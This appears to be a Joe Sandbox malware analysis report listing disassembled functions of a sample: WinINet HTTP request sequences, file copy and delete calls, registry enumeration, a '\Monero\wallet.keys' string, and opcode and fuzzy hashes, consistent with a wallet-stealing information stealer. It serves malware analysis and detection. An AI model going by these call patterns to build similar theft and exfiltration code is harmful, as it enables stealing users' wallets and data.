Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00AF59F8
StrCmpCA.SHLWAPI(?,0076ED48), ref: 00AF5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0076ED18,00000000,?,0076DA50,00000000,?,00B11A1C), ref: 00AF5E71
lstrlen.KERNEL32(00000000), ref: 00AF5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00AF5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00AF5E9A
lstrlen.KERNEL32(00000000), ref: 00AF5EAF
lstrlen.KERNEL32(00000000), ref: 00AF5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AF5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00AF5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00AF5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00AF5F4C
InternetCloseHandle.WININET(00000000), ref: 00AF5FB0
InternetCloseHandle.WININET(00000000), ref: 00AF5FBD
HttpOpenRequestA.WININET(00000000,0076ED78,?,0076E588,00000000,00000000,00400100,00000000), ref: 00AF5BF8

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

InternetCloseHandle.WININET(00000000), ref: 00AF5FC7

Strings

------, xrefs: 00AF5C0B
", xrefs: 00AF5CD5
", xrefs: 00AF5E16
Hv, xrefs: 00AF5A08
xv, xrefs: 00AF5BEA
------, xrefs: 00AF5A96
------, xrefs: 00AF5D4C

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$Hv$xv
API String ID: 874700897-1281254960
Opcode ID: cdce5c3480885a7ed9f964dc38143a3ca2fa84f0393394552ded6aa4ba674469
Instruction ID: 01f537de43457e8ccfe442bcab34ed29c83a562e6e9a39feb92eb72b749216fe
Opcode Fuzzy Hash: cdce5c3480885a7ed9f964dc38143a3ca2fa84f0393394552ded6aa4ba674469
Instruction Fuzzy Hash: C9121E71920318AADB15EBA4DC95FEEB7B8BF14700F4045E9B106B21D1EF706A4ACF61

Function 00AFA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0AA70: StrCmpCA.SHLWAPI(00768A18,00AFA7A7,?,00AFA7A7,00768A18), ref: 00B0AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00AFAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00AFAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00AFABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFA8B0

Part of subcall function 00B0A820: lstrlen.KERNEL32(00AF4F05,?,?,00AF4F05,00B10DDE), ref: 00B0A82B
Part of subcall function 00B0A820: lstrcpy.KERNEL32(00B10DDE,00000000), ref: 00B0A885

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

lstrcat.KERNEL32(?,00000000), ref: 00AFACEB
lstrcat.KERNEL32(?,00B11320), ref: 00AFACFA
lstrcat.KERNEL32(?,00000000), ref: 00AFAD0D
lstrcat.KERNEL32(?,00B11324), ref: 00AFAD1C
lstrcat.KERNEL32(?,00000000), ref: 00AFAD2F
lstrcat.KERNEL32(?,00B11328), ref: 00AFAD3E
lstrcat.KERNEL32(?,00000000), ref: 00AFAD51
lstrcat.KERNEL32(?,00B1132C), ref: 00AFAD60
lstrcat.KERNEL32(?,00000000), ref: 00AFAD73
lstrcat.KERNEL32(?,00B11330), ref: 00AFAD82
lstrcat.KERNEL32(?,00000000), ref: 00AFAD95
lstrcat.KERNEL32(?,00B11334), ref: 00AFADA4
lstrcat.KERNEL32(?,00000000), ref: 00AFADB7
lstrlen.KERNEL32(?), ref: 00AFAE0D
lstrlen.KERNEL32(?), ref: 00AFAE1C

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

DeleteFileA.KERNEL32(00000000), ref: 00AFAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00AFABD4

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 64e60c2dde09b5eef4eebf4670e8a18c8f93f95b2d7d5df11cf0b129af4848b1
Instruction ID: d6709a54b85a61d820211dd1ff1491969ca8d0da2503dbc178fd2e07846b3aa4
Opcode Fuzzy Hash: 64e60c2dde09b5eef4eebf4670e8a18c8f93f95b2d7d5df11cf0b129af4848b1
Instruction Fuzzy Hash: 6D1221719103089BDB04FBA4DD96EEE77B8AF24300F508598B507B61E1DF35AE49CB62

Function 00AF4880 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00AF4915
StrCmpCA.SHLWAPI(?,0076ED48), ref: 00AF493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00B10DDB,00000000,?,?,00000000,?,",00000000,?,0076EC58), ref: 00AF4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AF4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00AF4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00AF4E49
InternetCloseHandle.WININET(00000000), ref: 00AF4EAD
InternetCloseHandle.WININET(00000000), ref: 00AF4EC5
HttpOpenRequestA.WININET(00000000,0076ED78,?,0076E588,00000000,00000000,00400100,00000000), ref: 00AF4B15

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

InternetCloseHandle.WININET(00000000), ref: 00AF4ECF

Strings

Hv, xrefs: 00AF492F
", xrefs: 00AF4BF2
------, xrefs: 00AF4C69
xv, xrefs: 00AF4B07
", xrefs: 00AF4D33
Xv, xrefs: 00AF4D0A
------, xrefs: 00AF4B28
------, xrefs: 00AF49BD

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$Hv$Xv$xv
API String ID: 460715078-2324211600
Opcode ID: 5499c415d239d42203dacb82c7b1f0354cb935f959ac86c429d15396841d9380
Instruction ID: ef2f7745518df92a22dc1186b79ddbe10c005c94baa3f09eced3c3969c8072e7
Opcode Fuzzy Hash: 5499c415d239d42203dacb82c7b1f0354cb935f959ac86c429d15396841d9380
Instruction Fuzzy Hash: F512AA71910318AADB15EB94DD92FEEBBB8AF14300F5085D9B106B20D1EF706F49CB62

Function 00AFCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,0076D9F0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00AFD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00AFD0CE
lstrcat.KERNEL32(?,00000000), ref: 00AFD208
lstrcat.KERNEL32(?,00B11478), ref: 00AFD217
lstrcat.KERNEL32(?,00000000), ref: 00AFD22A
lstrcat.KERNEL32(?,00B1147C), ref: 00AFD239
lstrcat.KERNEL32(?,00000000), ref: 00AFD24C
lstrcat.KERNEL32(?,00B11480), ref: 00AFD25B
lstrcat.KERNEL32(?,00000000), ref: 00AFD26E
lstrcat.KERNEL32(?,00B11484), ref: 00AFD27D
lstrcat.KERNEL32(?,00000000), ref: 00AFD290
lstrcat.KERNEL32(?,00B11488), ref: 00AFD29F
lstrcat.KERNEL32(?,00000000), ref: 00AFD2B2
lstrcat.KERNEL32(?,00B1148C), ref: 00AFD2C1
lstrcat.KERNEL32(?,00000000), ref: 00AFD2D4
lstrcat.KERNEL32(?,00B11490), ref: 00AFD2E3

Part of subcall function 00B0A820: lstrlen.KERNEL32(00AF4F05,?,?,00AF4F05,00B10DDE), ref: 00B0A82B
Part of subcall function 00B0A820: lstrcpy.KERNEL32(00B10DDE,00000000), ref: 00B0A885

lstrlen.KERNEL32(?), ref: 00AFD32A
lstrlen.KERNEL32(?), ref: 00AFD339

Part of subcall function 00B0AA70: StrCmpCA.SHLWAPI(00768A18,00AFA7A7,?,00AFA7A7,00768A18), ref: 00B0AA8F

DeleteFileA.KERNEL32(00000000), ref: 00AFD3B4

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 6d687074dc68e6ae5592af30ade91101f11b7236485e4b5fc5fe6462c2d3baf4
Instruction ID: 1b27a91aef533b5de01e44638323175271823392d9ffab1e6dba442190303845
Opcode Fuzzy Hash: 6d687074dc68e6ae5592af30ade91101f11b7236485e4b5fc5fe6462c2d3baf4
Instruction Fuzzy Hash: 6DE10D71A10308ABCB04EBA4DD96EEE77B8AF14301F504598F147B61E1DE35AE45CB72

Function 00B08320 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

RegOpenKeyExA.KERNEL32(00000000,0076AA90,00000000,00020019,00000000,00B105B6), ref: 00B083A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B08426
wsprintfA.USER32 ref: 00B08459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B0847B
RegCloseKey.ADVAPI32(00000000), ref: 00B0848C
RegCloseKey.ADVAPI32(00000000), ref: 00B08499

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Strings

- , xrefs: 00B085A3
?, xrefs: 00B0837A
%s\%s, xrefs: 00B0844D
Xv, xrefs: 00B084DF

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?$Xv
API String ID: 3246050789-1427469881
Opcode ID: d40f2f8603e5b44a4fe8497d18c74f175350e1e8af1c2d63b45c83e8df3c3169
Instruction ID: b167b7e63a3f6a964770c656180754fb6810950f81491e67803d950101171ef4
Opcode Fuzzy Hash: d40f2f8603e5b44a4fe8497d18c74f175350e1e8af1c2d63b45c83e8df3c3169
Instruction Fuzzy Hash: F3811D719102189BDB24DB54CC95FEABBB8FF48700F0086D9E149A6190DF71AF85CFA1

Function 00AF6280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

InternetOpenA.WININET(00B10DFE,00000001,00000000,00000000,00000000), ref: 00AF62E1
StrCmpCA.SHLWAPI(?,0076ED48), ref: 00AF6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF6335
HttpOpenRequestA.WININET(00000000,GET,?,0076E588,00000000,00000000,00400100,00000000), ref: 00AF6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AF63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AF63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00AF63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00AF646D
InternetCloseHandle.WININET(00000000), ref: 00AF64EF
InternetCloseHandle.WININET(00000000), ref: 00AF64F9
InternetCloseHandle.WININET(00000000), ref: 00AF6503

Strings

ERROR, xrefs: 00AF6407
Hv, xrefs: 00AF62F8
ERROR, xrefs: 00AF64C9
GET, xrefs: 00AF637C

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
